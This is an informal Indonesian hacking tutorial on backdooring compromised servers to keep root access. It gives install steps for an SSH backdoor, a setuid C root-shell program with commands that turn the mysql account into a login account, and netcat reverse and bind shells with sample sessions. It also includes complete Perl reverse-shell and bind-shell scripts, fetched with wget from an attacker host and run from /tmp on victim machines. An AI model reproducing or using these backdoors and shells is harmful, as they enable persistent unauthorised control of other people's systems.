Backdooring on Root

Banyak yang tanya, giman sih backdooring root itu, apa sih backdoor itu, bla....bla....blaa...... bahkan ane sendiri sering nanya2 and browsing2 hehehe maklum masih cupu, setelah ane explore di mbah google ternyata banyak yang menjelaskan opo to kui backdoor ? ok langsung deh, malah curhat jadinya,

sumber :
ExploreCrew, SecurityFokus, Hackown,inject0r,ech0, & google
Terimakasih sebanyak2nya
Root Backdooring ? opo to iki ?
Root :user yang berhak atas system secara penuh (dewa dalam system)
Back : belakang (dah pada tau ya hehehe)
Door : Pintu (apalagi ini :( mesti wes ngerti kabeh)

kesimpulannya Root backdooring adalah : mencari pintu masuk ke target mealui jalan belakang sebagai user yang mempunyai akses penuh terhadap system

ada bebrapa cara bahkan mungkin banyak cara untuk melakukan backdooring, cuman ane ga tau semua heheheh kan ane masih cupu,

1. SSHDoor

download sshDoor ke target (asumsi di target kita udah ada shell), cari di mbah google mesti nemu banyak, download dengan perintah
 wget, curl, wp-download atau terserah pake cara apa yang penting sshDoor da di target
Extract sshdoor.tzg , Masuk ke Dir sshdoor, et permission semua File, nstall sshdoor
tar -zxvf sshdoor.tgz
chmod 777 * -R
./install [password_kita] [port_kompi_kita]
kalo dah selesai install, qt cek bind ke port yg telah di install ssh door
telnet ke target dari kompi kita
telnet 000.000.000 1111 << IP dan port target
kalo ada pesan connected artinya dah sukses, tinggal kita connect pake ssh dengan user dan port yang udah kita tentukna pada saat nginstal sshDoor tadi

2. RSH
:( opo maneh iki xixixiix
ane juga ga tau, dah nyari tapi lom ketemu heheheheh, pokoknya intinya kalo kita dah dapet akses root di target tapi ga bisa ngapa2in Asumsinya kita akan melakukan koneksi ke target dengan user lain namun dengan akses setara root di port standar SSH target.

sama kek yang pertama kita download dulu script RSHnya kalo ga ya buat new file pake shell kita trus paste script ini
#include
#include
#include
int main()
{
    system("echo  ");
    system("echo -==[ Root Shell Backdoor ]==-\r\n");
    system("echo -==[ Explore Crew UnderGround ]==-\r\n");
    system("echo -==[ www.ExploreCrew.Org ]==-\r\n");
    system("echo  ");
    system("echo Starting Interactive Shell...\r\n");
    system("echo Session Started. Enjoy the hack !!");
    system("echo  ");
    setuid(0);
    setgid(0);
    setgroups(0,0);
    system("su");
    system("exit");
    return 0;
}
ubah nama file jadi rsh.c, compail, set permision, ubah passwd user mysql , rubah alamat shell user mysql ke /bin/bash , Pindahkan File main ke direktory /bin,
mv rsh rsh.c
gcc -o main rsh.c
chmod gu+s main
chmod o+x main
passwd mysql
chsh -s /bin/bash mysql
mv main /bin/
oke setelah itu coba login via putty untukkonek ke port ssh standard target.. login dengan user mysql, pass sesuai yg dirubah tadi..

Connect Back Shell

Connect Back Shell atau lebih akrab disebut Backconnect adalah melakukan remote dari komputer sasaran ke komputer kita

Backconnect adalah sebuah alternatif bila bindshell gagal, ntah karena gak punya akses, denied akses, sekurity dari firewall, atau karena komputer sasaran tertutup oleh proxy server (komputer sasaran berada di dalam network yang tertutup oleh proxy). Bila ada proxy di depan komputer sasaran, walau bind berhasil, namun kita tetap tidak bisa melakukan remote konek ke sasaran karena tertutup komputern proxy.

Ketika kita melakukan koneksi, maka koneksi kita akan di tolak karena port yg kita tuju tidak terbuka di firewall. Firewall menolak semua koneksi/request ke port yang tidak dibuka di firewall tersebut. Paket-paket berisi request yang di kirim oleh attacker tidak bisa melewati dinding firewall karena memang jalur tidak terbuka, sehingga request koneksi tidak pernah sampai di komputer sasaran.
D:\HACK>nc -vv 192.168.10.10 1968
Warning: lookup failed for 192.168.10.10: h_errno 11004: NO_DATA
[192.168.10.10] 1968 (?): connection refused
sent 0, rcvd 0: NOTSOCK
Kasus lain, adalah bila komputer sasaran berada di dalam internal network, yang mana network tersebut tertutup oleh proxy server. Dalam hal ini, proxy server bertindak sebagai gateway network yang ada di dalamnya.

Ketika attacker berhasil binding port di komputer sasaran yang ada di dalam proxy, attacker tetap tidak bisa melakukan remote connection karena port tidak terbuka di komputer proxy. Proxy mengatur lalu lintas data dari port-port yang di seting di proxy untuk di teruskan ke ip dan port yang ada di internal network nya. Ketika attacker binding port di komputer yang di dalam proxy, di proxy tidak pernah di set port yg mengarahkan service ke komputer sasaran melalui port yang di bind. Sehinga proxy akan menolak koneksi ke port yang di minta attacker, karena proxy memang tidak pernah mengenali service pada port yg di minta attacker.

Percobaan koneksi yang akan kita terima adalah seperti berikut :
D:\HACK>nc -vv 192.168.10.10 1968
Warning: lookup failed for 192.168.10.10: h_errno 11004: NO_DATA
[192.168.10.10] 1968 (?): connection refused
sent 0, rcvd 0: NOTSOCK
Bagaimana kita mendapatkan koneksi ke komputer sasaran sementara di depan komputer sasaran ada bodyguard yang selalu memukul dan meluluh-lantak-kan setiap koneksi yang di minta dari luar yang tidak di kenal? Inilah dia. BackConnect.

Seperti yang saya katakan. Backconnect adalah membalikkan koneksi dari komputer sasaran ke komputer attacker yang telah listening pada port tertentu, dengan membawa/meluncurkan aplikasi tertentu, dalam hal ini (hacking) yang akan kita luncurkan (diluncurkan dari sasaran) adalah /bin/bash.

Sehingga ketika komputer sasaran melakukan koneksi ke komputer attacker, komputer attacker akan menerima koneksi, dan akan membuka dan mengaktifkan aplikasi yang di luncurkan oleh komputer sasaran, dalam hal ini adalah /bin/bash. Dengan demikian, attacker mendapatkan akses interaktif /bin/bash dari komputer sasaran. It is interactive console.

BackConnect dengan NetCat

Untuk bisa melakukan backconnect, maka ip yang kita pakai haruslah ip public, atau ip yang terkoneksi langsung ke internet tanpa penghalang proxy.Cara melakukan backconnect sangat mudah, semudah bindshell. Yang perlu kita lakukan pertama kali adalah set mode listening di komputer kita. Hanya set mode listening, tanpa aplikasi apapun, karena kita akan menerima aplikasi yang diluncurkan oleh kompi sasaran.

[root@localhost][/root] nc -vlp 6888
listening on [any] 6888 ...

Sip. Kompi kita udah listening. Berikutnya kita koneksikan komputer sasaran ke komputer kita dengan meluncurkan aplikasi /bin/bash. Seperti biasa, harus ada netcat di kompi sasaran. Downloadkan dulu netcat ke kompi sasaran. Simpan di direktory yg writeable. Atau langsung aja ke /tmp.
Command untuk backconnect adalah: nc –vv [ip attacker] [port] –e [launch aplication]
cd /tmp
wget http://hacking.tool/nc
chmod 777 nc
./nc –vv 192.168.10.20 6888 –e /bin/bash

Setelah menjalankan command tersebut di komputer sasaran, sekarang lihatlah komputer kita. Kita sudah mendapatkan koneksi balik dari komputer sasaran dan langsung menerima aplikasi yg diluncurkan oleh komputer sasaran ke komputer kita.
[root@localhost][/root] nc -vlp 6888
listening on [any] 6888 ...
connect to [192.168.10.20] from (UNKNOWN) [192.168.10.10] 43886
id
uid=48(nobody) gid=48(nobody) groups=48(nobody)
uname –a
Linux  astra.2014.ws  2.6.18-164.el5  #1  SMP  Thu  Sep  3  03:28:30  EDT  2009
x86_64 x86 _64 x86_64 GNU/Linux
Nah, kan. Kita mendapatkan interaktif console melalui teknik backconnect. Selanjutnya, ya terserah kita mau apa. Obok-obok sampe puas pastinya.

Kalau komputer sasaran adalah windows? Sama aja bos. Hanya aplikasi yang diluncurkan adalah cmd.exe
c –vv 192.168.10.20 6788 –e cmd.exe
Kemudian kita lihat di komputer kita yang tadi sudah kita set listening.
[root@localhost][/root] nc -vlp 6788
listening on [any] 6788 ...
192.168.10.10: inverse host lookup failed: Unknown host
connect to [192.168.10.20] from (UNKNOWN) [192.168.10.10] 59681
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Windows>  <<< dapat!!! Kita telah mendapatkan cmd.exe di komp sasaran
C:\Windows>ipconfig   <<< tes lihat ip
ipconfig

Windows IP Configuration
PPP adapter:
        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.10.10
        Subnet Mask . . . . . . . . . . . : 255.255.255.255
        Default Gateway . . . . . . . . . : 192.168.10.100

D:\Windows>
udah dpt console interaktif. Selanjutnya tinggal command-command sesuka kita.

BackConnect.pl (Backconnect dengan aplikasi perl)

fungsinya, jelas untuk melakukan backconnect dengan aplikasi perl. Karena ditulis dengan perl, maka aplikasi ini membutuhkan perl juga di komputer sasaran. Bagaimana ngecek nya kalau user kita bisa jalankan perl? Seperti yang dulu, tetep perl –v. Gak perlu panjang lebar, langsung in action.
Set mode listening di komputer kita.
nc –vlp 9999
Kemudian, kita download backconnect.txt yang sudah kita upload ke hosting kita ke komputer sasaran, di direktory yang writeable tentunya. Seperti biasa pula, langsung menuju /tmp.

Cara pakai backconnectnya: perl backconnect.txt [ip] [port]
cd /tmp
wget http://hacking.tool/backconnect.txt
perl backconnect.txt 192.168.10.20 9999 &
Setelah menjalankan command ini di komputer korban, kembali ke komputer
kita. Dan lihat,kita dapat console sang korban.
[root@localhost][/root] nc -vlp 9999
listening on [any] 9999 ...
connect to [192.168.10.20] from (UNKNOWN) [192.168.10.10] 44808
Linux astra.2014.ws 2.6.18-164.el5 #1 SMP Thu Sep 3 03:28:30 EDT 2009
x86_64 x86_64 x86_64 GNU/Linux
uid=48(nobody) gid=48(nobody) groups=48(nobody)
pwd
/tmp
whoami
apache
ini script backconnect perlnya
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
Bind Shell

Bindshell adalah membuka port (binding) pada komputer korban dengan mengikutkan service/aplikasi yang akan melayani koneksi yang di terima dari port yg di buka. Umumnya aplikasi yang di pakai adalah /bin/bash. Sehingga ketika terjadi koneksi ke port yg di buka, maka komputer korban akan menjalankan aplikasi /bin/bash dan meluncurkannya kepada attacker. Disebut bindshell karena bind di lakukan dengan memberikan service shell (/bin/bash). Dengan demikian, attacker yg melakukan koneksi ke port yg di bind tersebut, akan mendapatkan /bin/bash dari komputer korban. It is a interactive console.

Banyak metode untuk melakukan bindshell. Berikut beberapa contoh teknik melakukan bindshell dengan menggunakan netcat dan aplikasi perl.

Bindshell dengan NetCat

Kita implementasikan komputer korban memiliki ip address 192.168.10.10 Sedangkan komputer kita, memiliki ip address 192.168.10.20 Banyak yang bertanya, bagaimana menjalankan command tersebut di komputer sasaran? Banyak cara, yang jelas kita harus mendapatkan akses ke komputer korban atau bisa menjalankan command ke komputer korban, misalnya kita punya webshell di komputer korban, atau ninja bayaran kita sudah siap sedia di komputer korban untuk menjalankan perintah kita. Intinya kita harus bisa mengirimkan perintah ke komputer korban, baik melalui rfi, webshell, lfi, rce, dll.

Langsung kita bind komputer sasaran kita. Pastinya file netcat (nc) harus ada di komputer yang akan kita bind. Jadi kita harus download dulu file nc ke komputer sasaran. Banyak command untuk download. Salah satunya adalah wget.

Masuk ke direktory yang writeable. Gak perlu lama-lama. Langsung masuk /tmp. Direktory ini udah tentu writeable.
cd /tmp
Dowload netcat
wget http://haking.tool/nc
Set permission executable pada nc
chmod 777 nc
Bindshell
./nc –v –l –p 4444 –e /bin/bash &
Sampai disini, kita telah melakukan bind ke port 4444 dengan srvice aplikasi /bin/bash. Tanda “&” di belakang command akan membuat bind dijalankan secara background (daemon process).

Cara termudah untuk ngecek apakah bindport berhasil, lakukan telnet ke host sasaran pada port yg kita bind tadi. Bila anda mendapati pesan “connected” or blank, menunjukkan anda sudah konek ke port yg kita bind. Dengan demikian, bind port yg kita lakukan berhasil.

Perlu di ingat, bahwa netcat adalah sekali konek. Ketika ada koneksi, setelah itu port tidak lagi terbuka, termasuk ketika ngecek dengen telnet. Untuk itu, lakukan sekali lagi kalau mau konek ke console.

Trus gimana cara melakukan remote conection pada komputer yg telah di bind? Pakai netcat. Tentunya harus punya netcat di komputer kita. Command untuk remote connect dengan netcat sangat simple.
nc –vv [ip host sasaran] [port]
D:\HACK>nc -vv 192.168.10.10 4444
Warning: lookup failed for 192.168.10.10: h_errno 11004: NO_DATA
[192.168.10.10] 4444 (?) open
Perhtikan pesan “open” pada port. Itu menunjukkan kalau port terbuk. Cursor yang berpindah ke bawah (seperti blank tidak ada apa apa), itu bukan blank, tapi itu adalah console yang kamu dapatkan melalu bind port dengan netcat. Kita bisa langsung jalankan command-command disini.
D:\HACK>nc -vv 192.168.10.10 4444
Warning: lookup failed for 192.168.10.10: h_errno 11004: NO_DATA
[192.168.10.10] 4444 (?) open
id   <<< command
uid=100(nobody) gid=101(nobody) groups=101(nobody) context=user_u:
pwd  <<< command
/tmp
uname -a
Linux bajaj.mempreng.com 2.6.18-53.el5 #1 SMP Mon Nov 12 02:22:48 EST
2007 i686 i686 i386 GNU/Linux
Namun, bila beruntung kita akan mendapatkan tmpilan console dengan prompt console dari linux.
D:\HACK>nc -vv 192.168.10.10 4444
Warning: lookup failed for 192.168.10.10: h_errno 11004: NO_DATA
[192.168.10.10] 4444 (?) open
ash-3.2$ id
uid=100(nobody) gid=101(nobody) groups=101(nobody) context=user_u:
bash-3.2$ pwd
/var/lib/mysql
bash-3.2$ uname -a
Linux bajaj.mempreng.com 2.6.18-53.el5 #1 SMP Mon Nov 12 02:22:48 EST
2007 i686 i686 i386 GNU/Linux
Kalau komputer sasaran os nya adalah windows, kita bisa menambahkan option –d ketika ngebind. Option ini bisa mengirimkan aplikasi cmd.exe melalui telnet. Sehingga kita bisa menggunakan telnet untuk remote connection. Implementasi ip 192.168.10.30 ber-OS winduz.
nc –vlp 7777 –e cmd.exe –d
Now try connect using telnet.
D:\HACK> telnet 192.168.10.30 7777
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator> << console on remote host
C:\Documents and Settings\Administrator> ipconfig
Windows IP Configuration
Local Network Connection :
        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.10.30 << ip sasaran
        Subnet Mask . . . . . . . . . . . : 255.255.255.255
        Default Gateway . . . . . . . . . : 192.168.10.100
C:\Documents and Settings\Administrator>
Perhatikan ketika kita jalankan command ipconfig, bukan ip kita yang terlihat, tapi ip sasaran. Ini karena kita memang berada di console sasaran. Sampai disini, kita sudah dapat console secara interaktif ke komputer sasaran kita, dimana kita bisa se-enaknya menjalankan command-commnd ke server secara interaktif. Untuk mengakhiri mode console, cukup tekan ctrl+c atau exit.

Bindshell.pl (Aplikasi perl khusus bindshell)

Cara lain untuk bindshell adalah menggunakan aplikasi perl. Aplikasi ini di tulis khusus untuk melakukan bindshell dengan menjalankan service /bin/bash. Kita tidak perlu lagi men-setting aplikasi apa yang akan di jalankan. Bindshell.pl cukup baik dan mudah, namun juga perlu aplikasi perl untuk menjalankanya. Jika user yang kita pakai tidak punya akses ke perl, bindshell.pl tidak bisa digunakan. Bagaimana mengecek apakah kita bisa jalankan perl? Cukup ketik perl –v. Langsung in action.

Seperti biasa, masuk direktory yg writeable atau langsung /tmp. Download bindshell.txt dari host kamu. Kok bindshell.txt, bukan bindshell.pl? iya, Cuma extensi. Hal ini menghindari error ketika mendownload. Jadi upload bindshell.pl dengan extensi .txt. terakhir, langsung bind gak pake lama.

Command bindshell nya: perl bindshell.txt [port]
cd /tmp
lwp-download http://hacking.tool/bindshell.txt
perl bindshell.txt 9898 &
Sip. Dari sini, kita udah bisa ngecek pakek telnet apakah konek or kagak. Bindshell.pl bersifat continue, jadi kita bisa berkali-kali konek dengan sekali ngebind, asalkan proses tidak di kill oleh admin.

Apa berikutnya? Jelas, remote connection to get remote interactive console. Tetep pake netcat.
D:\HACK>nc -vv 192.168.10.10 9898
Warning: lookup failed for 192.168.10.10: h_errno 11004: NO_DATA
[192.168.10.10] 9898 (?) open
bash: no job control in this shell
bash-3.2$ id
uid=100(mysql) gid=101(mysql) groups=101(mysql) context=user_u:
bash-3.2$ pwd
/tmp
bash-3.2$ uname -a
Linux bajaj.mempreng.com 2.6.18-53.el5 #1 SMP Mon Nov 12 02:22:48 EST
2007 i686 i686 i386 GNU/Linux
Berikut adalah code untuk bindshell (perl).
#!/usr/bin/perl
$SHELL="/bin/bash -i";
if (@ARGV < 1) { exit(1); }
$LISTEN_PORT=$ARGV[0];
use Socket;
$protocol=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1)
{
    accept(CONN,S);
    if(!($pid=fork))
    {
        die "Cannot fork" if (!defined $pid);
        open STDIN,"<&CONN";
        open STDOUT,">&CONN";
        open STDERR,">&CONN";
        exec $SHELL || die print CONN "Cant execute $SHELL\n";
        close CONN;
        exit 0;
    }
}